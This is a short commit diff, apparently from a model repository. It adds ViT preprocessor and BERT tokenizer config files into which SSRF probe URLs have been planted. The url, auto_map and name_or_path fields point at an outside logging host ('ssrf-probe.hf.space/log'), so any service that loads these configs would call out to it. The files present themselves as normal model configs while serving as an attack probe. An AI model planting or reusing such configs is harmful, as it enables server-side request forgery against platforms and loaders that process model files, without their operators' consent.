Add tokenizer+preprocessor SSRF configs
Browse files- preprocessor_config.json +22 -0
- tokenizer_config.json +11 -0
preprocessor_config.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"do_resize": true,
|
| 3 |
+
"image_processor_type": "ViTImageProcessor",
|
| 4 |
+
"size": {
|
| 5 |
+
"height": 224,
|
| 6 |
+
"width": 224
|
| 7 |
+
},
|
| 8 |
+
"image_mean": [
|
| 9 |
+
0.5,
|
| 10 |
+
0.5,
|
| 11 |
+
0.5
|
| 12 |
+
],
|
| 13 |
+
"image_std": [
|
| 14 |
+
0.5,
|
| 15 |
+
0.5,
|
| 16 |
+
0.5
|
| 17 |
+
],
|
| 18 |
+
"model_input_names": [
|
| 19 |
+
"pixel_values"
|
| 20 |
+
],
|
| 21 |
+
"url": "https://firstaccount69-ssrf-probe.hf.space/log?ssrf=preprocessor_url"
|
| 22 |
+
}
|
tokenizer_config.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"auto_map": {
|
| 3 |
+
"AutoTokenizer": [
|
| 4 |
+
"https://firstaccount69-ssrf-probe.hf.space/log?ssrf=auto_tokenizer",
|
| 5 |
+
"BertTokenizer"
|
| 6 |
+
]
|
| 7 |
+
},
|
| 8 |
+
"model_max_length": 512,
|
| 9 |
+
"tokenizer_class": "BertTokenizer",
|
| 10 |
+
"name_or_path": "https://firstaccount69-ssrf-probe.hf.space/log?ssrf=tokenizer_name_or_path"
|
| 11 |
+
}
|